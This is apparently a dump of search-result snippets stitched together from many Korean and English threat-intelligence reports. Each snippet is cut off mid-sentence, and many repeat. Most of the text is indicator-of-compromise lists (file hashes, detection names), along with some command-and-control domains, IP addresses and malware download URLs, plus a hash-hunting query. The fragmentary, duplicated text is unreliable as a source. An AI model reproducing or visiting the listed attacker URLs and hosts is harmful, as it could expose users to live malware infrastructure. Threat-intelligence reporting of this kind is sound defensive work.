93e13ffd2a2f1a13fb9a09de1d98324f75b3f0f8e0c822857ed5ca3b73ee3672 SHA512…","…V3 should be updated to the latest version so that malware infection can be prevented. MD5 00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e URL…","…또한 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. MD5 00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e URL…","…확인된 디코이 파일 MD5 00e3a61447fd23e43228c61357cb4466 02af4e78d470551a4e1a16af3668f602 05dffc19ba25d472734030d4bf8e370b 0c6bd107aad6c56119be011241d6ecbf 0d510bcac9d7daebd0ac13ced5243897 URL…","…\"Simple indicator of observable {788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a}\", \"x509\": {\"hash\": {\"md5\": [\"02da572d59e4aaac9341747efc00f5ae\"], \"sha1\": [\"fd24c03f07af1ec1271c40009ff648fdc0fd3ba8\"], \"sha256\": [\"788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a\"]}},…","…IoC (Indicator of Compromise) MD5 02ebc2356f9f700bbdac444cdefa0da2 0d8ceb7dea7d471afa2f8e753b13d2d6 1f378c0efc13669dada1fe340c6837bd 2669731cb5ff664dfb5fbfc37637876d…","…The malware sample contains the properties seen in Table 1: MD5 48f031f8120554a5f47259666fd0ee02 SHA1 02ee6302436250e1cee1e75cf452a127b397be8d SHA256 b8120d5c9c2c889b37aa9e37514a3b4964c6e41296be216b327cdccd2e908311 File Type PE32 executable (GUI) Intel 80386, for MS…","…movis-es.ignorelist.com:443 update.toythieves.com:8080 update.toythieves.com:443 exbonus.mrbasic.com:443 Malware Hashes 02f75c2b47b1733f1889d6bbc026157c 06cd99f0f9f152655469156059a8ea25 07e13b985c79ef10802e75aadfac6408 09a77c0cb8137df82efc0de5c7fee46e…","…발신자 확인, 취약한 환경 설정 점검, OS와 인터넷 브라우저 패치, V3 최신 업데이트가 필요하다. MD5 0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739 URL…","…Hashes detected as CHM_DLOADER.ZCEL-A 01b047e0f3b49f8ab6ebf6795bc72ba7f63d7acbc68f65f1f8f66e34de827e49 030b4525558f2c411f972d91b144870b388380b59372e1798926cc2958242863 10cbb5d0974af08b5d4aa9c753e274a81348da9f8bfcaa5193fad08b79650cda 650d7b814922b58b6580041cb0aa9d27dae7e94e6d899bbb3b4aa5f1047fca0f…","…Hash 7887cea2962c954ccb60d005da03abcf68962517d1b3e3d2a472f5d952a03f8e 0aaec376904434197bae4f1a10ecfe8d4564d95fdfa8236ea960535710661c5f 0329bb5b3a450b0a8f148a57e045bf6ed40eb49a62e026bd71b021a2efc40aed 5ea09247ad85915a8d1066d1825061cc8348e14c4e060e1eba840d5e56ab3e4d 2189aa5be8a01bc29a314c3c3803c2b8131f49a84527c6b0a710b50df661575e ba59f1…","…IoC md5 63a119714f01d9ff57c51614c9727f84 한국방위산업학회 방위산업 디지털 혁신 세미나(계획).hwp 0337ebf5f6f3895bcb884731ac491f7f default.bat 4ab80f99a8a16c0e413f527ae50b6439 document.bat de2bb5f2ad0e5354b27d49a91b2050c1 hwp_doc.db…","…SHA1 035569bdbf955493e4bf5045610fa66d312d164a 037ee4de3892fbf7ba1929ae64f0ee6842f94db4 Remediation Block all threat indicators at your respective controls. Search for indicators…","…Backdoor/Win.D2Inv.C5572602 (2024.01.12.02) – Backdoor/Win.D2Inv.C5572603 (2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…– Backdoor/Win.D2Inv.C5572602 (2024.01.12.02) – Backdoor/Win.D2Inv.C5572603 (2024.01.12.02) MD5 013c4ee2b32511b11ee9540bb0fdb9d1 035cf750c67de0ab2e6228409ac85ea3 19c2decfa7271fa30e48d4750c1d18c1 27ef6917fe32685fdf9b755eb8e97565 2aaa3f1859102aab35519f0d4c1585dd URL…","…SHA1 035569bdbf955493e4bf5045610fa66d312d164a 037ee4de3892fbf7ba1929ae64f0ee6842f94db4 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…V3의 최신 패치와 업데이트를 권고했다. MD5 0080cd81db3244b8ba157ffabc1d30fe 00f7955410783941d527afc12908556a 029628bd99899c750d5537ee637fe3ca 03a830875abc607aa30a621eb84697c8 09bd2f48fcd29a0ed46b099c4d939024 URL…","…Initial VBS script (SHA256): 7013822c0a794712c5fe8f62c126e5992dca4a744882a039040569ae4ec1a868 Initial Python script (SHA256): 03ad194456951695eb4d4ceb40d9e52aaadbc9a4f4b8b1d020077115103e5359 WebBrowserPassView (SHA256): 36541fad68e79cdedb965b1afcdc45385646611aa72903ddbe9d4d064d7bffb9 MailPassView (SHA256):…","…패치, V3 최신 업데이트가 필요하다. MD5 0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739 URL…","…DOMAIN antichrist.or.kr IP 114.207.244.99 NewAct.dat MD5 e54b370d96ca0e2ecc083c2d42f05210 SHA-1 03c35e4c6a641373db665e7d58cea421188fbc82 SHA-256 1050935f6acee3afda3876478718632b968c986eb9c59fc2e27599c1515515f5 Virustotal AnyRun Triage Thank You for reading this…","…EtherRAT stage 2 (obfuscated) File 03c4e54cc775ab819752dc5d420ab2fed03bd445c3ce398d021031100b334fb4 EtherRAT (deobfuscated) File 7dd1bf7a58774a081062f5c8f183d24f95c433805e0bf73280c0adba1c71390d…","…on our findings. Indicators of Compromise (IoCs) Hashes (SHA-256) 028abdf89dc34088c2935e972a97f2d1249efe100f6282979d1771121c45101c 03cd82887b032ce2968bb739d13e1dd0ce3683df5bc1b87edc6872ddcd1dc625 08ac5048e86d368eea55d55781659dc54070debc9d117ed0a5ca8edd499fe1f8 098dd6d2556fa546132570795a9b901dbf93f306be1a9481b54b85d1f9203c9a 0ba05d…","…17:02 Last Modified Name windowsmb C2 https://carolcolecatholicartist.com/wp-includes/js/jquery/articles/Mzfmj0.hta MD5 03dbc1b3d79a4ff70f06fd6e67e00985 2019년 03월~4월까지는 'windowsmb' 계정명으로 제작된 문서파일들이 발견되었습니다만, 02월에서는 'JamFedura', 'Aji' 계정명이 사용되었습니다.…","…Modified Name windowsmb C2 https://carolcolecatholicartist.com/wp-includes/js/jquery/articles/Mzfmj0.hta MD5 03dbc1b3d79a4ff70f06fd6e67e00985 이 악성파일은 복수의 C2 서버가 사용되었는데, 마치 국제연합(UN) 도메인( unite.un.org )처럼 위장한 사례도 존재합니다.…","…보고서에 포함되지 않은 미확인 공격도 존재할 수 있으므로 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저 최신 패치 적용, V3 최신 버전 유지가 필요하다. MD5 03e4bef86f3e3e6ea23eb6f017af0c98 05c07339603994b36dcfefcce720d03d 07bb21d28ae4ab07d62f8deb4343aaeb 07ed2c9ed61b60078af0164f061696be 0b1de625a89da12bd1fdd292b341bad3…","…vulnerable system settings, apply the latest patches for the OS and web browsers, and keep V3 updated to the latest version. MD5 03e4bef86f3e3e6ea23eb6f017af0c98 05c07339603994b36dcfefcce720d03d 07bb21d28ae4ab07d62f8deb4343aaeb 07ed2c9ed61b60078af0164f061696be 0b1de625a89da12bd1fdd292b341bad3…","…(2023.11.01.03) – Exploit/Win.PrintSpoofer.C5535350 (2023.11.02.00) 행위 진단 – Malware/MDP.Download.M1197 MD5 0414a2ab718d44bf6f7103cff287b312 13b4ce1fc26d400d34ede460a8530d93 232586f8cfe82b80fd0dfa6ed8795c56 33a3da2de78418b89a603e28a1e8852c 3a0c8ae783116c1840740417c4fbe678…","…(2023.11.01.03) – Exploit/Win.PrintSpoofer.C5535350 (2023.11.02.00) Behavior Detection – Malware/MDP.Download.M1197 MD5 0414a2ab718d44bf6f7103cff287b312 13b4ce1fc26d400d34ede460a8530d93 232586f8cfe82b80fd0dfa6ed8795c56 33a3da2de78418b89a603e28a1e8852c 3a0c8ae783116c1840740417c4fbe678…","…MD5 TrollAgent DLL c8e7b0d3b6afa22e801cacaf16b37355 MD5 TrollAgent DLL 2e5f2a154e1b67cd0d6a2f6b5feb6de7 MD5 TrollAgent DLL 045f28a479ba19a95c0407a663e2f188 MD5 TrollAgent DLL a67cf9add2905c11f5c466bc01d554b0 MD5 TrollAgent DLL 3b596ca429cf1b733f1ff3676189e44a MD5 TrollAgent DLL…","…Name udbcgiut.dat Size 1171 bytes Type data MD5 ae829f55db0198a0a36b227addcdeeff SHA1 04833210fa57ea70a209520f4f2a99d049e537f2 SHA256 70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289 SHA512…","…ca 8f82226b2f24d470c02f6664f67f23f7 09b91626507a62121a4bdb08debb3ed9 25e38d618f38b3218c3252cf0d22c969 38f8fd9e8d27ae665b3ac0f56492f6c4 048e1698c4b711d1652df4bf4be04f9e 53aea290d7245ee902a808fd87a6a173 56c7b448dbc37aa50eb1c2a6475aca5e 99ee7852b8041a540fdb74b3784d0409 8230af6642f5f1927bbbbc7fd6e5427f b0…","…3458daa0dffdc3fbb5c931f25d7a1ec0 Android-Trojan/Kimsuky 2022.12.15.01 MD5 012d5ffe697e33d81b9e7447f4aa338b 04bb7e1a0b4f830ed7d1377a394bc717 3458daa0dffdc3fbb5c931f25d7a1ec0 51527624e7921a8157f820eb0ca78e29 582a033da897c967faade386ac30f604 AhnLab TIP 를 구독하시면 연관…","…ceec993673d95fd0af326f1ef7268ebf375361118efe2ae561c0e59b36387c1b AccountStore.bak bc1e06ba5f472aaf30d8027dc8562307 04bc9e74c65b6df6f6c4ba90db3d85ca9b2dda4c 79076febac7abad26ae1c570c4de41fb51c6a5a82b97ec5299005d8e9f66e5a9 AccountStore.bak 66037fc3c489d099107e2d3cddd33569…","…OR hash:9947d3f5c4ea436c15a94373cb36e46ada68438d19e5f5fdb1c9bb55e9d140ff OR hash:04d14da053c42397c48a54fe61850ddc3a38156514f03759df59473383453042 OR hash:26ba5b01f614a215b948a5700338575412dcff2df972b7696b2c8c3f3b74a723 Thanks for reading, credit to @freedomhack101 for sharing the…","…(GUI) Intel 80386, for MS Windows MD5 96071956d4890aebea14ecd8015617cc SHA1 49e16180795034a4888fff776968e29871f79340 SHA256 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 SHA512…","…SLICKSHOES SHA-256: fdb87add07d3459c43cfa88744656f6c00effa6b7ec92cb7c8b911d233aeb4ac 188.165.37.168 BISTROMATH SHA-256: 04d70bb249206a006f83db39bbe49ff6e520ea329e5fbb9c758d426b1c8dec30 SHA-256: 1ea6b3e99bbb67719c56ad07f5a12501855068a4a866f92db8dcdefaffa48a39 SHA-256:…","…0b 645adf057b55ef731e624ab435a41757 bde4747408ce3cfdfe8238a133ebcac9 421b1e1ab9951d5b8eeda5b041cb0657 d2f08e227cd528ad8b26e9bbe285ae3c 04deb35316ebe1789da042c8876c0622 af4eefa8cddc1e412fe91ad33199bd71 34239a3607d8b5b8ddd6797855f2e827 389172d2794d789727b9f7d01ec27f75 Domains: googleservice.xyz docstre…","…(2025.01.31.02) Trojan/PowerShell.Launcher (2025.01.31.02) Trojan/PowerShell.KeyLogger (2025.01.31.02) MD5 04e5f813da28b5975d0b6445f687bc48 26d96d40e4c8aed03d80740e1d5a4559 2ea71ff410088bbe79f28e7588a6fb47 3211ef223177310021e174c928f96bab 5565b337bfba78970b73ae65b95f2c4f…","…Execution Deobfuscate/Decode Files or Information Indicators of Compromise (IOCs) Indicators Indicator Type Description 04e8a5c6e5797b0f436ca36452170a2f 924be824edb54f917d52e43a551c0eb2848cad8f 2f6c1def83936139425edfd611a5a1fbaa78dfd3997efec039f9fd3338360d25 MD5 SHA-1 SHA-256 .lnk file…","…출처가 불분명한 파일을 열지 않고, 발신자 확인을 철저히 하며, OS와 인터넷 브라우저를 포함한 프로그램을 최신 패치와 V3 최신 버전으로 유지하는 것이 필요하다. MD5 04f017c65870791af565edcdd7407cf8 087955e719d00c7a0a07f1ed610894a2 0906e4d23fb07668c024263bc0311cff 0e5509da6e2d2f12250821b871b439c3 1194f56e15beb69fc41e498e240410f4…","…and law enforcement cooperation in the event of an incident are important to mitigate damage in the financial sector. MD5 04f1f6e2d8a0cfb58c9dab5546bbd13f 3fc3962721c62a7352fb4230e36a6089 6e7a2aa1a62c90dc31e2b4fda1a7ad00 94c75cdb38a51621b8c8255db24b45a1 b285748d5b50658b50fd974f034872f0…","…downloaded malware (0xFF decoded) md5 : 8F8AA835E65998DD472D2C641AA82DA5 sha1 : F9B8645BCB399E48B046BDD96F33B4B0FED1598E sha256 : 04F9579865C6611AFD27FED6ACAF8581C662B52B817FBC9007455E046C73A05E svchost.exe injected malware md5 : 70EC91D17B55980036351C70B2CBE3A0 sha1 : 3F64D8526190607541DB64981E38255ADBAD981C sha256 :…","…(2022.03.30.00) – start.vbs : Trojan/VBS.Runner (2022.03.30.00) – upload.vbs : Trojan/VBS.Akdoor (2022.03.30.00) MD5 050e663bf6c97a953e25eb7e9754d656 07232fe7144b0286eb5c9882834eea96 0b41f93365ec443406df942914317ec7 85165e07b9f198a5e4047756eb779b46 a0fddb12d7b3c445fdb7ab602a5bf5fb…","…Procdump 16F413862EFDA3ABA631D8A7AE2BFFF6D84ACD9F454A7ADAA518C7A8A6F375A5 05732E84DE58A3CC142535431B3AA04EFBE034CC96E837F93C360A6387D8FAAD Mimikatz 6FBB771CD168B5D076525805D010AE0CD73B39AB1F4E6693148FE18B8F73090B…","…보고서에 서술되지 않은 미확인 공격도 다수 존재할 수 있으므로, 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저 최신 패치, V3 최신 버전 유지가 필요하다. MD5 0585a54a7edc2b8d84de952c748b62d8 05c510fc70d4bdeba2253d563720ff24 0b079ef7bae438b67fc19a875d93a8e3 10c5864f075c24b64c69e60e79dd6cc1 112d6bd5d93a3e7fbdacb77e775e7569…","…vulnerable system settings, apply the latest patches for your OS and web browser, and keep V3 updated to the latest version. MD5 0585a54a7edc2b8d84de952c748b62d8 05c510fc70d4bdeba2253d563720ff24 0b079ef7bae438b67fc19a875d93a8e3 10c5864f075c24b64c69e60e79dd6cc1 112d6bd5d93a3e7fbdacb77e775e7569…","…web.dotm URL http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v1 URL delivery SHA-256 0588510dddbd802a5a95fa299d8fa7235b0c270236cbaf51e5b57536222226bf V1.py SHA-256 7f83912127f5b9680ff57581fc40123c21257bd8e186d7cab4c838a867bb137f V60.py URL…","…참고 자료 [1] https://asec.ahnlab.com/ko/88419/ MD5 059bb6c439ffedc61d9168c23552202c 0633d5f93a5f08a909c039a3f7e90830 063faa06c63e4091ff8df4acffeb10be 130ce31e1fe7c0aa5fae32d96afff4c6 2052261efb1e9d486997fc1795d7d489…","…References [1] https://asec.ahnlab.com/en/88465/ MD5 059bb6c439ffedc61d9168c23552202c 0633d5f93a5f08a909c039a3f7e90830 063faa06c63e4091ff8df4acffeb10be 130ce31e1fe7c0aa5fae32d96afff4c6 2052261efb1e9d486997fc1795d7d489…","…Hash-MD5 54a116ff80df6e6031059fc3036464df Hash-MD5 d6114ba5f10ad67a4131ab72531f02da Hash-MD5 05a00c320754934782ec5dec1d5c0476 Hash-MD5 f107a717f76f4f910ae9cb4dc5290594 Hash-MD5 7f7ccaa16fb15eb1c7399d422f8363e8 Hash-MD5…","…Size 245760 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 3021b9ef74c7bddf59656a035f94fd08 SHA1 05ad5f346d0282e43360965373eb2a8d39735137 SHA256 83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a SHA512…","…Trojan/Win64.Akdoor.R289258 (2019.08.29.00) 행위 진단 – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…(2019.08.29.00) Behavior Detection – Execution/MDP.Behavior.M10661 MD5 0171c4a0a53188fe6f9c3dfcc5722be6 05bb1d8b7e62f4305d97042f07c64679 0b746394c9d23654577f4c0f2a39a543 0b78347acf76d4bb66212bf9a41b9fb9 0ed86587124f08325cd8f3d3d2556292 URL…","…존재할 수 있으므로 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저 최신 패치 적용, V3 최신 버전 유지가 필요하다. MD5 03e4bef86f3e3e6ea23eb6f017af0c98 05c07339603994b36dcfefcce720d03d 07bb21d28ae4ab07d62f8deb4343aaeb 07ed2c9ed61b60078af0164f061696be 0b1de625a89da12bd1fdd292b341bad3 URL…","…SHA1 05c178891ca1e65af53bbcfdbec573da3f74d176 3f17c5a7d1e7fd138163d8039e614b8a967a56cb baf4da6b89b7d7cbf24c9deef5984ef9dfd52e6a e5d97afa5f1501b3d5ec1a471dc8a3b8e2a84fdb 98bef63ce2a1…","…harden their security and increase their awareness of potential risks. Indicators of Compromise SHA1 Function File Arch 05c178891ca1e65af53bbcfdbec573da3f74d176 Dropper Macho arm64 3f17c5a7d1e7fd138163d8039e614b8a967a56cb Dropper App Universal…","…다수 존재할 수 있으므로, 발신자 확인, 출처 불명 파일 열람 자제, 취약한 환경 설정 점검, OS 및 인터넷 브라우저 최신 패치, V3 최신 버전 유지가 필요하다. MD5 0585a54a7edc2b8d84de952c748b62d8 05c510fc70d4bdeba2253d563720ff24 0b079ef7bae438b67fc19a875d93a8e3 10c5864f075c24b64c69e60e79dd6cc1 112d6bd5d93a3e7fbdacb77e775e7569 URL…","…IoC (Indicator of Compromise) MD5 05cec01db363488e6762097095d7b7fc 05e65662d55327febf5d4aaeca54f982 0919c2a84a1c76d6f5268dd5ffd7b5e7 0933fda33f46d2b31e023bf322a11d41…","…Hashes https://gist.github.com/Blevene/42bed05ecb51c1ca0edf846c0153974a Hash-MD5 5a89aac6c8259abbba2fa2ad3fcefc6e Hash-MD5 05da32043b1e3a147de634c550f1954d Hash-MD5 8e97637474ab77441ae5add3f3325753 Hash-MD5 c9ede1054fef33720f9fa97f5e8abe49 Hash-MD5…","…campaign across file events. let malicious_hashes = dynamic([ \"2075fd1a1362d188290910a8c55cf30c11ed5955c04af410c481410f538da419\", \"05e1761b535537287e7b72d103a29c4453742725600f59a34a4831eafc0b8e53\", \"5fbbca2d72840feb86b6ef8a1abb4fe2f225d84228a714391673be2719c73ac7\",…","…IoC (Indicator of Compromise) MD5 05cec01db363488e6762097095d7b7fc 05e65662d55327febf5d4aaeca54f982 0919c2a84a1c76d6f5268dd5ffd7b5e7 0933fda33f46d2b31e023bf322a11d41 0a0fe8a557eff10b3b32528347b9d988…","…db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 146.4.21.94 109.248.150.13 108.61.186.55:443…","…(GUI) Intel 80386, for MS Windows MD5 23e27e5482e3f55bf828dab885569033 SHA1 139b25e1ae32a8768238935a8c878bfbe2f89ef4 SHA256 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 SHA512…","…SentinelOne Singularity) is required to tackle these evolving threats from both static and behavioral angles. IOCs HOPLIGHT SHA-256: 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 SHA-256: 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 SHA-256:…","…1fe1fa6b01166c373de68c029d8cdda60cb1599053f935e580f3f40aaf106345 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 fe43bc385b30796f5e2d94dfa720903c70e66bc91dfdcfb2f3986a1fea3fe8c5 084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319…","…(GUI) Intel 80386, for MS Windows MD5 34e56056e5741f33d823859e77235ed9 SHA1 fcc2dcbac7d3cbcf749f6aab2f37cc4b62d0bb64 SHA256 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 SHA512…","…both static and behavioral angles. IOCs HOPLIGHT SHA-256: 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461 SHA-256: 0608e411348905145a267a9beaf5cd3527f11f95c4afde4c45998f066f418571 SHA-256: 084b21bc32ee19af98f85aee8204a148032ce7eabef668481b919195dd62b319 SHA-256:…","…(2025.02.14.03) – Trojan/Win.LazarLoader.R692195 (2025.02.14.03) – Trojan/Win.UACMe.R455616 (2021.12.28.00) MD5 0620fa617bc9ef32b93adcf40fe291a4 0734a2c3e827ccf558daf48290d06d8c 41ffc15c24259156db000af297c71703 89921e5f39407a5e63df013468181991 adabf920682fac1e6a81e655b1182590…","…975897 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee 062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7 c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34 16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd de2d45…","…Name svchost.exe Size 117760 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 062e9cd9cdcabc928fc6186c3921e945 SHA1 566347f8bf30f66aec670d660091fb6bb03a0650 SHA256 8ee7da59f68c691c9eca1ac70ff03155ed07808c7a66dee49886b51a59e00085 SHA512…","…참고 자료 [1] https://asec.ahnlab.com/ko/88419/ MD5 059bb6c439ffedc61d9168c23552202c 0633d5f93a5f08a909c039a3f7e90830 063faa06c63e4091ff8df4acffeb10be 130ce31e1fe7c0aa5fae32d96afff4c6 2052261efb1e9d486997fc1795d7d489 URL…","…References [1] https://asec.ahnlab.com/en/88465/ MD5 059bb6c439ffedc61d9168c23552202c 0633d5f93a5f08a909c039a3f7e90830 063faa06c63e4091ff8df4acffeb10be 130ce31e1fe7c0aa5fae32d96afff4c6 2052261efb1e9d486997fc1795d7d489 URL…","…executable installs Bisonal and a decoy file in the paths shown in Table 3, below. Type PATH SHA256 Dropper EXE N/A 0641fe04713fbdad272a6f8e9b44631b7554dfd1e1332a8afa767d845a90b3fa Bisonal EXE %Temp%\\[random].tmp 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC Korean Decoy PDF [dropper…","…(2023.01.12) Trojan/Win.Lazardoor (2023.01.11) Data/BIN.EncodedPE (2023.01.12) Data/BIN.Encoded (2023.01.11) MD5 064d696a93a3790bd3a1b8b76baaeef3 1e7d604fadd7d481dfadb66b9313865d 1f1a3fe0a31bd0b17bc63967de0ccc29 202a7eec39951e1c0b1c9d0a2e24a4c4 27db56964e7583e19643bf5c98fffd52…","…InitialAccess/EDR.Lazarus.M10963 Execution/EDR.Event.M10769 Injection/EDR.Lazarus.M10965 Fileless/EDR.Event.M11080 MD5 064d696a93a3790bd3a1b8b76baaeef3 55f0225d58585d60d486a3cc7eb93de5 67d306c163b38a06e98da5711e14c5a7 747177aad5aef020b82c6aeabe5b174f 8adeeb291b48c97db1816777432d97fd…","…Hash dce53e59b0c48e269dadc766a78667a14f11b72c49f57d95abde62c84ac8d7ae Hash 0657f788e89a437a1e6fe2630c19436736aa55dcf255540698864a7576192611 Hash d211815177ce4b9fd2d3c258d2fc6282c23b8458d71f8f6f0df06a9dda89c12f Process rundll32.exe [%LOCALAPPDATA%\\MicroSoft…","…확인된 파일명 MD5 026a6ed068b12ea1447ca20d4f82452f 032fd60659a82b9b0fefe1eb1728259d 06745253f1daec97554abab0b5ac6568 0efa89b5a10d42c3c4ca2620f28ea770 14d4bc28f58affbb03b0afd2d756c716 Tags: APT…","…Trojan/Win.Agent.C5430095 (2023.05.20.00) 행위 진단 – Persistence/MDP.AutoIt.M4766 – Injection/MDP.Hollowing.M4767 MD5 068d395c60e32f01b5424e2a8591ba73 0786984ab46482637c2d483ffbaf66dc 093608a2d6eb098eb7ea917cc22e9998 0bf558adde774215bb221465a4edd2fe 0f5762be09db44b2f0ccf05822c8531a…","…Trojan/Win.Agent.C5430095 (2023.05.20.00) Behavior Detection – Persistence/MDP.AutoIt.M4766 – Injection/MDP.Hollowing.M4767 MD5 068d395c60e32f01b5424e2a8591ba73 0786984ab46482637c2d483ffbaf66dc 093608a2d6eb098eb7ea917cc22e9998 0bf558adde774215bb221465a4edd2fe 0f5762be09db44b2f0ccf05822c8531a…","…[ 그림 8] 허위 소프트웨어 설치 파일 위장 및 공공기관 사칭 2016 년 1 월에는 ‘ 북 수소폭탄 게임의 진실과 대응책 .hwp ( md5: 06ae5d62d56f21cd2676989743b9626c ) ’ 로 위 장한 악성코드를 배포했 으며 , 2016 년 2 월 에는 경찰 청 사칭 ( md5: f793deeee9dc4235d228e68d27057dcc ) , 불 10…","…0099bf67cfa72030c1c317240441f3b8 01e099f0947d0ef7bcb967063d761fa6 02f87ffe09edad431746660b310956c5 03be987cd4c4e1e788f803ca6e464a29 06b3b6fbf106d46534459d2189aac739 URL…","…Size 267776 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 be588cd29b9dc6f8cfc4d0aa5e5c79aa SHA1 06be4fe1f26bc3e4bef057ec83ae81bd3199c7fc SHA256 ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d SHA512…","…최신 패치 및 V3를 최신 버전으로 업데이트하여 이러한 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다. 상세한 분석 보고서와 전체 IoC 그리고 Yara 룰들에 대한 정보는 ATIP를 통해 확인이 가능하다. MD5 06c04a8ba382a27b7676f3591246dcbb 07866f30a8b4a3453fd0ff0e82143a83 0808710ecfdb1fb2274209853a256b82 0993cf18121be84f5b1511318df80f44 0aea7e23c016a2bb0b48c1779044b285…","…(new) Mac malware I decided to dig in more. Triage The sample of SpectralBlur mentioned in his tweets and triage has a SHA-1 hash of 06c8c84fb0a85bdf3520608b0a5c910b77e3b8c1 .…","…We would like to thank both organizations for working so quickly with us. Indicators of Compromise SHA256 06cadaac0710ed1ef262e79c5cf12d8cd463b226d45d0014b2085432cdabb4f3 0ff83f3b509c0ec7070d33dceb43cef4c529338487cd7e4c6efccf2a8fd7142d 153db613853fb42357acb91b393d853e2e5fe98b7af5d44ab25131c04af3b0d6…","…The same , but packed , backdoor was uploaded to a multiscanner service from Poland and South Korea in November 2016 (MD5: 06cd99f0f9f152655469156059a8ea25).…","…Name UnionCryptoTrader.dmg Size 20911661 bytes Type zlib compressed data MD5 6588d262529dc372c400bef8478c2eec SHA1 06d9f835efd1c05323f6a3abdf66e6be334e47c4 SHA256 2ab58b7ce583402bf4cbc90bee643ba5f9503461f91574845264d4f7e3ccb390 SHA512…","…79a7087af 8028b918d06cf3635e7e77d29cb0a4622d8cf4ee30881fb297435f7328ff45e4 35ddb63c0729a7e3019c026865ea195607a51943d8867607a26c006f0df6e594 06e2ab3fe5afc927642244644dfddb0f920ff1ab11c5e5631e26dbd62ed6978a 5d25e53b59bd2dcf234c6819f8cd294efe6d943d04625b9d575002362794e74a 6263530f1bde08b13872252fa1e90efc0ac5c8d433db6931316c8eb7322d23c4 30584f13c…","…version so that malware infection can be prevented. MD5 00f27b3cf8817313aafdfc29ff238153 029db651367bb1eac0a85bd826afe420 07010ef323ff1a6efebf9c59f8afb35f 0a5f8bb2aebb296b6a5048ca5b85d8ad 0c0a44de58b0a47b749411a9c2fe178e URL…","…27 7a0c0a4c550a95809e93ab7e6bdcc290 46fd22acea614407bf11d92eb6736dc7 568f7628e6b7bb7106a1a82aebfd348d 779f2f4839b9be4f0b8c96f117181334 07015af18cf8561866bc5b07e6f70d9a 7756b4230adfa16e18142d1dbe6934af 8346d90508b5d41d151b7098c7a3e868 30741e7e4cdd8ba9d3d074c42deac9b1 537806c02659a12c5b21efa51b2322c1 af…","…: 45.77.71.50:8082 [언인스톨러] UnInstall_kr5829.co.in.exe 진단명 (엔진버전) : Trojan/Win.Akdoor.C4936809 (2022.01.28.02) MD5 070f0390aad17883cc8fad2dc8bc81ba 40b428899db353bb0ea244d95b5b82d9 4ea6cee3ecd9bbd2faf3af73059736df b841d27fb7fee74142be38cee917eda5 URL…","…cc 60214745027c7efa7cc920d43d9c254a 9a06ce2b0b038de9147f93bbb3b3c56c 173edf96e60b3fd520801a6c1adee7e0 2a78bf4487915d91855d0c4661d974a0 071107f7bddc8ca6e8a8c3c94931512c 59c328cd766f6ec0c9141bca7da6b807 5bec2687fd743d23331cd54c987b44de URL…","…: Trojan/VBS.Runner (2022.03.30.00) – upload.vbs : Trojan/VBS.Akdoor 